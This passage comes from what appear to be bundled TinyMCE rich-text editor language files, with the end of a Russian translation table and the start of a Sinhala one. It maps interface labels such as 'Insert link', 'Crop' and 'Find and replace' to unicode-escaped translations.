"\u041e\u0442\u0440\u0430\u0437\u0438\u0442\u044c \u043f\u043e
\u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u0438",
"Resize": "\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c
\u0440\u0430\u0437\u043c\u0435\u0440",
"Sharpen":
"\u0427\u0435\u0442\u043a\u043e\u0441\u0442\u044c",
"Zoom out":
"\u041e\u0442\u0434\u0430\u043b\u0438\u0442\u044c",
"Image options":
"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438
\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",
"Apply":
"\u041f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c",
"Brightness":
"\u042f\u0440\u043a\u043e\u0441\u0442\u044c",
"Rotate clockwise":
"\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043f\u043e
\u0447\u0430\u0441\u043e\u0432\u043e\u0439
\u0441\u0442\u0440\u0435\u043b\u043a\u0435",
"Rotate counterclockwise":
"\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u044c
\u043f\u0440\u043e\u0442\u0438\u0432
\u0447\u0430\u0441\u043e\u0432\u043e\u0439
\u0441\u0442\u0440\u0435\u043b\u043a\u0438",
"Edit image":
"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c
\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Color levels":
"\u0426\u0432\u0435\u0442\u043e\u0432\u044b\u0435
\u0443\u0440\u043e\u0432\u043d\u0438",
"Crop":
"\u041e\u0431\u0440\u0435\u0437\u0430\u0442\u044c",
"Orientation":
"\u041e\u0440\u0438\u0435\u043d\u0442\u0430\u0446\u0438\u044f",
"Flip vertically":
"\u041e\u0442\u0440\u0430\u0437\u0438\u0442\u044c \u043f\u043e
\u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u0438",
"Invert":
"\u0418\u043d\u0432\u0435\u0440\u0441\u0438\u044f",
"Date\/time":
"\u0414\u0430\u0442\u0430\/\u0432\u0440\u0435\u043c\u044f",
"Insert date\/time":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c
\u0434\u0430\u0442\u0443\/\u0432\u0440\u0435\u043c\u044f",
"Remove link": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c
\u0441\u0441\u044b\u043b\u043a\u0443",
"Url": "\u0410\u0434\u0440\u0435\u0441
\u0441\u0441\u044b\u043b\u043a\u0438",
"Text to display":
"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u043c\u044b\u0439
\u0442\u0435\u043a\u0441\u0442",
"Anchors": "\u042f\u043a\u043e\u0440\u044f",
"Insert link":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c
\u0441\u0441\u044b\u043b\u043a\u0443",
"Link": "\u0421\u0441\u044b\u043b\u043a\u0430",
"New window": "\u0412 \u043d\u043e\u0432\u043e\u043c
\u043e\u043a\u043d\u0435",
"None": "\u041d\u0435\u0442",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?":
"\u0412\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0439 URL
\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f
\u0432\u043d\u0435\u0448\u043d\u0435\u0439
\u0441\u0441\u044b\u043b\u043a\u043e\u0439. \u0412\u044b
\u0436\u0435\u043b\u0430\u0435\u0442\u0435
\u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c
\u043f\u0440\u0435\u0444\u0438\u043a\u0441 \u00abhttp:\/\/\u00bb?",
"Paste or type a link":
"\u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u0438\u043b\u0438
\u0432\u0441\u0442\u0430\u0432\u044c\u0442\u0435
\u0441\u0441\u044b\u043b\u043a\u0443",
"Target":
"\u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c
\u0441\u0441\u044b\u043b\u043a\u0443",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?":
"\u0412\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0439 URL
\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f
\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c
\u0430\u0434\u0440\u0435\u0441\u043e\u043c
\u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439
\u043f\u043e\u0447\u0442\u044b. \u0412\u044b
\u0436\u0435\u043b\u0430\u0435\u0442\u0435
\u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c
\u043f\u0440\u0435\u0444\u0438\u043a\u0441 \u00abmailto:\u00bb?",
"Insert\/edit link":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c
\u0441\u0441\u044b\u043b\u043a\u0443",
"Insert\/edit video":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c
\u0432\u0438\u0434\u0435\u043e",
"Media": "\u0412\u0438\u0434\u0435\u043e",
"Alternative source":
"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439
\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a",
"Paste your embed code below:":
"\u0412\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0432\u0430\u0448
\u043a\u043e\u0434 \u043d\u0438\u0436\u0435:",
"Insert video":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c
\u0432\u0438\u0434\u0435\u043e",
"Poster":
"\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Insert\/edit media":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c
\u0432\u0438\u0434\u0435\u043e",
"Embed": "\u041a\u043e\u0434 \u0434\u043b\u044f
\u0432\u0441\u0442\u0430\u0432\u043a\u0438",
"Nonbreaking space":
"\u041d\u0435\u0440\u0430\u0437\u0440\u044b\u0432\u043d\u044b\u0439
\u043f\u0440\u043e\u0431\u0435\u043b",
"Page break": "\u0420\u0430\u0437\u0440\u044b\u0432
\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b",
"Paste as text":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043a\u0430\u043a
\u0442\u0435\u043a\u0441\u0442",
"Preview":
"\u041f\u0440\u0435\u0434\u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440",
"Print": "\u041f\u0435\u0447\u0430\u0442\u044c",
"Save":
"\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c",
"Could not find the specified string.":
"\u0417\u0430\u0434\u0430\u043d\u043d\u0430\u044f
\u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0435
\u043d\u0430\u0439\u0434\u0435\u043d\u0430",
"Replace":
"\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c",
"Next": "\u0412\u043d\u0438\u0437",
"Whole words": "\u0421\u043b\u043e\u0432\u043e
\u0446\u0435\u043b\u0438\u043a\u043e\u043c",
"Find and replace": "\u041f\u043e\u0438\u0441\u043a \u0438
\u0437\u0430\u043c\u0435\u043d\u0430",
"Replace with":
"\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430",
"Find": "\u041d\u0430\u0439\u0442\u0438",
"Replace all":
"\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c
\u0432\u0441\u0435",
"Match case":
"\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c
\u0440\u0435\u0433\u0438\u0441\u0442\u0440",
"Prev": "\u0412\u0432\u0435\u0440\u0445",
"Spellcheck":
"\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c
\u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Finish":
"\u0417\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c",
"Ignore all":
"\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c
\u0432\u0441\u0435",
"Ignore":
"\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c",
"Add to Dictionary":
"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432
\u0441\u043b\u043e\u0432\u0430\u0440\u044c",
"Insert row before":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c
\u043f\u0443\u0441\u0442\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443
\u0441\u0432\u0435\u0440\u0445\u0443",
"Rows": "\u0421\u0442\u0440\u043e\u043a\u0438",
"Height": "\u0412\u044b\u0441\u043e\u0442\u0430",
"Paste row after":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c
\u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u043d\u0438\u0437\u0443",
"Alignment":
"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"Border color": "\u0426\u0432\u0435\u0442
\u0440\u0430\u043c\u043a\u0438",
"Column group": "\u0413\u0440\u0443\u043f\u043f\u0430
\u043a\u043e\u043b\u043e\u043d\u043e\u043a",
"Row": "\u0421\u0442\u0440\u043e\u043a\u0430",
"Insert column before":
"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c
\u0441\u0442\u043e\u043b\u0431\u0435\u0446
\u0441\u043b\u0435\u0432\u0430",
"Split cell": "\u0420\u0430\u0437\u0431\u0438\u0442\u044c
\u044f\u0447\u0435\u0439\u043a\u0443",
"Cell padding":
"\u0412\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439
\u043e\u0442\u0441\u0442\u0443\u043f",
"Cell spacing": "\u0412\u043d\u0435\u0448\u043d\u0438\u0439
\u043e\u0442\u0441\u0442\u0443\u043f",
"Row type": "\u0422\u0438\u043f
\u0441\u0442\u0440\u043e\u043a\u0438",
"Insert table":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c
\u0442\u0430\u0431\u043b\u0438\u0446\u0443",
"Body": "\u0422\u0435\u043b\u043e",
"Caption":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Footer": "\u041d\u0438\u0437",
"Delete row": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c
\u0441\u0442\u0440\u043e\u043a\u0443",
"Paste row before":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c
\u0441\u0442\u0440\u043e\u043a\u0443
\u0441\u0432\u0435\u0440\u0445\u0443",
"Scope": "Scope",
"Delete table": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c
\u0442\u0430\u0431\u043b\u0438\u0446\u0443",
"H Align":
"\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435
\u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"Top": "\u041f\u043e \u0432\u0435\u0440\u0445\u0443",
"Header cell":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Column": "\u0421\u0442\u043e\u043b\u0431\u0435\u0446",
"Row group": "\u0413\u0440\u0443\u043f\u043f\u0430
\u0441\u0442\u0440\u043e\u043a",
"Cell": "\u042f\u0447\u0435\u0439\u043a\u0430",
"Middle": "\u041f\u043e
\u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435",
"Cell type": "\u0422\u0438\u043f
\u044f\u0447\u0435\u0439\u043a\u0438",
"Copy row":
"\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c
\u0441\u0442\u0440\u043e\u043a\u0443",
"Row properties":
"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b
\u0441\u0442\u0440\u043e\u043a\u0438",
"Table properties":
"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430
\u0442\u0430\u0431\u043b\u0438\u0446\u044b",
"Bottom": "\u041f\u043e \u043d\u0438\u0437\u0443",
"V Align":
"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0435
\u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"Header": "\u0428\u0430\u043f\u043a\u0430",
"Right": "\u041f\u043e
\u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Insert column after":
"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c
\u0441\u0442\u043e\u043b\u0431\u0435\u0446
\u0441\u043f\u0440\u0430\u0432\u0430",
"Cols": "\u0421\u0442\u043e\u043b\u0431\u0446\u044b",
"Insert row after":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c
\u043f\u0443\u0441\u0442\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443
\u0441\u043d\u0438\u0437\u0443",
"Width": "\u0428\u0438\u0440\u0438\u043d\u0430",
"Cell properties":
"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b
\u044f\u0447\u0435\u0439\u043a\u0438",
"Left": "\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443
\u043a\u0440\u0430\u044e",
"Cut row": "\u0412\u044b\u0440\u0435\u0437\u0430\u0442\u044c
\u0441\u0442\u0440\u043e\u043a\u0443",
"Delete column": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c
\u0441\u0442\u043e\u043b\u0431\u0435\u0446",
"Center": "\u041f\u043e
\u0446\u0435\u043d\u0442\u0440\u0443",
"Merge cells":
"\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c
\u044f\u0447\u0435\u0439\u043a\u0438",
"Insert template":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c
\u0448\u0430\u0431\u043b\u043e\u043d",
"Templates":
"\u0428\u0430\u0431\u043b\u043e\u043d\u044b",
"Background color": "\u0426\u0432\u0435\u0442
\u0444\u043e\u043d\u0430",
"Custom...":
"\u0412\u044b\u0431\u0440\u0430\u0442\u044c\u2026",
"Custom color":
"\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439
\u0446\u0432\u0435\u0442",
"No color": "\u0411\u0435\u0437
\u0446\u0432\u0435\u0442\u0430",
"Text color": "\u0426\u0432\u0435\u0442
\u0442\u0435\u043a\u0441\u0442\u0430",
"Table of Contents":
"\u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435",
"Show blocks":
"\u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c
\u0431\u043b\u043e\u043a\u0438",
"Show invisible characters":
"\u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c
\u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u0435
\u0441\u0438\u043c\u0432\u043e\u043b\u044b",
"Words: {0}":
"\u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e
\u0441\u043b\u043e\u0432: {0}",
"Insert":
"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c",
"File": "\u0424\u0430\u0439\u043b",
"Edit":
"\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u0422\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435
\u043f\u043e\u043b\u0435. \u041d\u0430\u0436\u043c\u0438\u0442\u0435 ALT-F9
\u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0437\u0432\u0430\u0442\u044c
\u043c\u0435\u043d\u044e, ALT-F10 \u043f\u0430\u043d\u0435\u043b\u044c
\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432,
ALT-0 \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430
\u043f\u043e\u043c\u043e\u0449\u0438.",
"Tools":
"\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b",
"View": "\u0412\u0438\u0434",
"Table": "\u0422\u0430\u0431\u043b\u0438\u0446\u0430",
"Format": "\u0424\u043e\u0440\u043c\u0430\u0442"
});
PKR��[�	�=�=tinymce/langs/si-LK.jsnu�[���tinymce.addI18n('si-LK',{
"Cut": "\u0d9a\u0db4\u0db1\u0dca\u0db1",
"Header 2": "Header 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0d9c\u0dca\u200d\u0dbb\u0dcf\u0dc4\u0d9a
\u0db4\u0dd4\u0dc0\u0dbb\u0dd4\u0dc0\u0da7 \u0d8d\u0da2\u0dd4
\u0db4\u0dca\u200d\u0dbb\u0dc0\u0dda\u0dc1\u0dba\u0d9a\u0dca
\u0dbd\u0db6\u0dcf\u0daf\u0dd3\u0db8\u0da7 \u0d94\u0db6\u0d9c\u0dda
\u0db6\u0dca\u200d\u0dbb\u0dc0\u0dd4\u0dc3\u0dbb\u0dba
\u0dc3\u0dc4\u0dba\u0d9a\u0dca
\u0db1\u0ddc\u0daf\u0d9a\u0dca\u0dc0\u0dba\u0dd3.
\u0d9a\u0dbb\u0dd4\u0dab\u0dcf\u0d9a\u0dbb
\u0d92\u0dc0\u0dd9\u0db1\u0dd4\u0dc0\u0da7 Ctrl+X\/C\/V \u0dba\u0db1
\u0dba\u0dad\u0dd4\u0dbb\u0dd4\u0db4\u0dd4\u0dc0\u0dbb\u0dd4
\u0d9a\u0dd9\u0da7\u0dd2\u0db8\u0d9f \u0db7\u0dcf\u0dc0\u0dd2\u0dad\u0dcf
\u0d9a\u0dbb\u0db1\u0dca\u0db1.",
"Div": "Div",
"Paste": "\u0d85\u0dbd\u0dc0\u0db1\u0dca\u0db1",
"Close": "\u0dc0\u0dc3\u0db1\u0dca\u0db1",
"Font Family": "Font Family",
"Pre": "Pre",
"Align right":
"\u0daf\u0d9a\u0dd4\u0dab\u0dd4\u0db4\u0dc3\u0da7
\u0db4\u0dd9\u0dc5\u0d9c\u0dc3\u0dca\u0dc0\u0db1\u0dca\u0db1",
"New document": "\u0db1\u0dc0
\u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca",
"Blockquote": "Blockquote",
"Numbered list": "\u0d85\u0d82\u0d9a\u0db1\u0dba
\u0d9a\u0dbd \u0dbd\u0dd0\u0dba\u0dd2\u0dc3\u0dca\u0dad\u0dd4\u0dc0",
"Increase indent": "\u0dc0\u0dd0\u0da9\u0dd2\u0dc0\u0db1
\u0d91\u0db6\u0dd4\u0db8",
"Formats": "\u0d86\u0d9a\u0dd8\u0dad\u0dd2",
"Headers": "Headers",
"Select all": "\u0dc3\u0dd2\u0dba\u0dbd\u0dca\u0dbd
\u0dad\u0ddd\u0dbb\u0db1\u0dca\u0db1",
"Header 3": "Header 3",
"Blocks": "Blocks",
"Undo":
"\u0db1\u0dd2\u0dc2\u0dca\u0db4\u0dca\u200d\u0dbb\u0db7\u0dcf
\u0d9a\u0dbb\u0db1\u0dc0\u0dcf",
"Strikethrough": "\u0db8\u0dd0\u0daf\u0dd2
\u0d89\u0dbb\u0dd0\u0dad\u0dd2",
"Bullet list":
"\u0dbd\u0dd0\u0dba\u0dd2\u0dc3\u0dca\u0dad\u0dd4\u0dc0",
"Header 1": "Header 1",
"Superscript":
"\u0d8b\u0da9\u0dd4\u0dbd\u0d9a\u0dd4\u0dab\u0dd4",
"Clear formatting":
"\u0db4\u0dd0\u0dc4\u0dd0\u0daf\u0dd2\u0dbd\u0dd2
\u0d86\u0d9a\u0dd8\u0dad\u0dd2\u0d9a\u0dbb\u0dab\u0dba",
"Font Sizes": "Font Sizes",
"Subscript":
"\u0dba\u0da7\u0dd2\u0dbd\u0d9a\u0dd4\u0dab\u0dd4",
"Header 6": "Header 6",
"Redo": "\t\u0db1\u0dd0\u0dc0\u0dad
\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Paragraph": "Paragraph",
"Ok": "\u0d85\u0db1\u0dd4\u0db8\u0dad
\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Bold": "\u0db4\u0dd0\u0dc4\u0dd0\u0daf\u0dd2\u0dbd\u0dd2
\u0dc3\u0dda \u0db4\u0dd9\u0db1\u0dd9\u0db1",
"Code": "Code",
"Italic": "\u0d87\u0dbd\u0d9a\u0dd4\u0dbb\u0dd4",
"Align center": "\u0db8\u0dd0\u0daf\u0dd2 \u0d9a\u0ddc\u0da7
\u0db4\u0dd9\u0dc5\u0d9c\u0dc3\u0dca\u0dc0\u0db1\u0dca\u0db1",
"Header 5": "Header 5",
"Decrease indent": "\u0d85\u0da9\u0dd4\u0dc0\u0db1
\u0d91\u0db6\u0dd4\u0db8",
"Header 4": "Header 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Paste is now in plain
text mode. Contents will now be pasted as plain text until you toggle this
option off.",
"Underline": "\u0dba\u0da7\u0dd2\u0db1\u0dca
\u0d89\u0dbb\u0d9a\u0dca \u0d85\u0db3\u0dd2\u0db1\u0dca\u0db1",
"Cancel": "\u0d85\u0dc4\u0ddd\u0dc3\u0dd2
\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Justify": "\u0dc3\u0db8\u0dc0
\u0db4\u0dd9\u0dc5\u0d9c\u0dc3\u0dca\u0dc0\u0db1\u0dca\u0db1",
"Inline": "Inline",
"Copy": "\u0db4\u0dd2\u0da7\u0db4\u0dad\u0dca
\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Align left": "\u0dc0\u0db8\u0dca\u0db4\u0dc3\u0da7
\u0db4\u0dd9\u0dc5\u0d9c\u0dc3\u0dca\u0dc0\u0db1\u0dca\u0db1",
"Visual aids":
"\u0daf\u0dd8\u0dc1\u0dca\u200d\u0dba\u0dcf\u0db0\u0dcf\u0dbb",
"Lower Greek": "\u0d9a\u0dd4\u0da9\u0dcf
\u0d9c\u0dca\u200d\u0dbb\u0dd3\u0d9a ",
"Square": "\u0d9a\u0ddc\u0da7\u0dd4\u0dc0",
"Default": "\u0db4\u0dd9\u0dbb\u0db1\u0dd2\u0db8\u0dd2\u0dba
",
"Lower Alpha": "\u0d9a\u0dd4\u0da9\u0dcf
\u0d87\u0dbd\u0dca\u0dc6\u0dcf ",
"Circle": "\u0dc0\u0d9a\u0dca\u200d\u0dbb\u0dba",
"Disc": "\u0dad\u0dd0\u0da7\u0dd2\u0dba ",
"Upper Alpha": "\u0dc0\u0dd2\u0dc1\u0dcf\u0dbd
\u0d87\u0dbd\u0dca\u0dc6\u0dcf ",
"Upper Roman": "\u0dc0\u0dd2\u0dc1\u0dcf\u0dbd
\u0dbb\u0ddd\u0db8\u0dcf\u0db1\u0dd4 ",
"Lower Roman": "\u0d9a\u0dd4\u0da9\u0dcf
\u0dbb\u0ddd\u0db8\u0dcf\u0db1\u0dd4 ",
"Name": "\u0db1\u0dcf\u0db8\u0dba ",
"Anchor": "\u0d87\u0db1\u0dca\u0d9a\u0dbb\u0dba",
"You have unsaved changes are you sure you want to navigate
away?": "\u0d94\u0db6\u0d9c\u0dda
\u0dc3\u0dd4\u0dbb\u0d9a\u0dd2\u0db1 \u0db1\u0ddc\u0dbd\u0daf
\u0dc0\u0dd9\u0db1\u0dc3\u0dca\u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0dca
\u0d87\u0dad,\u0d94\u0db6\u0da7
\u0dc0\u0dd2\u0dc1\u0dca\u0dc0\u0dcf\u0dc3\u0daf \u0d89\u0dc0\u0dad\u0da7
\u0dba\u0dcf\u0dba\u0dd4\u0dad\u0dd4\u0dba\u0dd2
\u0d9a\u0dd2\u0dba\u0dcf?",
"Restore last draft":
"\u0d85\u0dc0\u0dc3\u0dcf\u0db1\u0dba\u0da7
\u0db7\u0dcf\u0dc0\u0dd2\u0dad\u0dcf\u0d9a\u0dc5
\u0d9a\u0dd9\u0da7\u0dd4\u0db8\u0dca\u0db4\u0dad
\u0db4\u0dd2\u0dc5\u0dd2\u0db1\u0d9c\u0db1\u0dca\u0db1 ",
"Special character": "\u0dc0\u0dd2\u0dc1\u0dda\u0dc2
\u0d85\u0db1\u0dd4\u0dbd\u0d9a\u0dd4\u0dab ",
"Source code": "\u0db8\u0dd6\u0dbd \u0d9a\u0dda\u0dad\u0dba
",
"Right to left": "\u0daf\u0d9a\u0dd4\u0dab\u0dd4\u0db4\u0dc3
\u0dc3\u0dd2\u0da7 \u0dc0\u0db8\u0dca\u0db4\u0dc3\u0da7 ",
"Left to right": "\u0dc0\u0db8\u0dca\u0db4\u0dc3
\u0dc3\u0dd2\u0da7 \u0daf\u0d9a\u0dd4\u0db1\u0dd4\u0db4\u0dc3\u0da7 ",
"Emoticons": "\u0db7\u0dcf\u0dc0
\u0db1\u0dd2\u0dbb\u0dd4\u0db4\u0d9a",
"Robots": "\u0dbb\u0ddc\u0db6\u0ddd",
"Document properties": "\u0dbd\u0dda\u0d9b\u0db1\u0dba\u0dda
\u0d9c\u0dd4\u0dab\u0dcf\u0d82\u0d9c ",
"Title": "\u0db8\u0dcf\u0dad\u0dd8\u0d9a\u0dcf\u0dc0",
"Keywords": "\u0db8\u0dd6\u0dbd \u0db4\u0daf\u0dba ",
"Encoding": "\u0d9a\u0dda\u0dad\u0db1\u0dba",
"Description": "\u0dc0\u0dd2\u0dc3\u0dca\u0dad\u0dbb\u0dba
",
"Author": "\u0d9a\u0dad\u0dd8 ",
"Fullscreen": "\u0db4\u0dd6\u0dbb\u0dca\u0dab
\u0dad\u0dd2\u0dbb\u0dba ",
"Horizontal line": "\u0dad\u0dd2\u0dbb\u0dc3\u0dca
\u0d89\u0dbb  ",
"Horizontal space": "\u0dad\u0dd2\u0dbb\u0dc3\u0dca
\u0dc4\u0dd2\u0dc3\u0dca \u0d89\u0da9",
"Insert\/edit image":
"\u0db4\u0dd2\u0db1\u0dca\u0dad\u0dd4\u0dbb\u0dba
\u0d87\u0dad\u0dd4\u0dbd\u0dca\u0d9a\u0dbb\u0db1\u0dca\u0db1 \/
\u0dc3\u0d9a\u0dc3\u0dca\u0d9a\u0dbb\u0db1\u0dca\u0db1 ",
"General": "\u0db4\u0ddc\u0daf\u0dd4",
"Advanced": "\u0db4\u0dca\u200d\u0dbb\u0d9c\u0dad",
"Source": "\u0db8\u0dd6\u0dbd\u0dba  ",
"Border": "\u0dc3\u0dd3\u0db8\u0dcf\u0dc0 ",
"Constrain proportions":
"\u0dc3\u0d82\u0dbb\u0ddd\u0daf\u0d9a
\u0db4\u0dca\u200d\u0dbb\u0db8\u0dcf\u0dab\u0db1",
"Vertical space": "\u0dc3\u0dd2\u0dbb\u0dc3\u0dca
\u0dc4\u0dd2\u0dc3\u0dca \u0d89\u0da9",
"Image description":
"\u0db4\u0dd2\u0db1\u0dca\u0dad\u0dd4\u0dbb\u0dba\u0dda
\u0dc0\u0dd2\u0dc3\u0dca\u0dad\u0dbb\u0dba ",
"Style": "\u0dc0\u0dd2\u0dbd\u0dcf\u0dc3\u0dba",
"Dimensions": "\u0db8\u0dcf\u0db1",
"Insert image": "Insert image",
"Insert date\/time": "\u0daf\u0dd2\u0db1\u0dba \/
\u0dc0\u0dda\u0dbd\u0dcf\u0dc0
\u0d87\u0dad\u0dd4\u0dbd\u0dca\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Remove link": "Remove link",
"Url": "Url",
"Text to display": "\u0db4\u0dd9\u0dc5 -
\u0dc3\u0d82\u0daf\u0dbb\u0dca\u0dc1\u0d9a\u0dba",
"Anchors": "Anchors",
"Insert link": "\u0dc3\u0db6\u0dd0\u0db3\u0dd2\u0dba
\u0d87\u0dad\u0dd4\u0dbd\u0dca\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"New window": "\u0db1\u0dc0
\u0d9a\u0dc0\u0dd4\u0dc5\u0dd4\u0dc0\u0d9a\u0dca",
"None": "\u0d9a\u0dd2\u0dc3\u0dd2\u0dc0\u0d9a\u0dca
\u0db1\u0dd0\u0dad",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "\u0d89\u0dbd\u0d9a\u0dca\u0d9a\u0dba",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "\u0dc3\u0db6\u0dd0\u0db3\u0dd2\u0dba
\u0d87\u0dad\u0dd4\u0dbd\u0dca\u0d9a\u0dbb\u0db1\u0dca\u0db1 \/
\u0dc0\u0dd9\u0db1\u0dc3\u0dca\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Insert\/edit video":
"\u0dc0\u0dd3\u0da9\u0dd2\u0dba\u0ddd\u0dc0
\u0d87\u0dad\u0dd4\u0dbd\u0dca\u0d9a\u0dbb\u0db1\u0dca\u0db1 \/
\u0dc0\u0dd9\u0db1\u0dc3\u0dca\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Poster": "\u0db4\u0ddd\u0dc3\u0dca\u0da7\u0dbb\u0dba",
"Alternative source": "\u0dc0\u0dd2\u0d9a\u0dbd\u0dca\u0db4
\u0db8\u0dd6\u0dbd\u0dba",
"Paste your embed code below:": "\u0d94\u0db6\u0d9c\u0dda
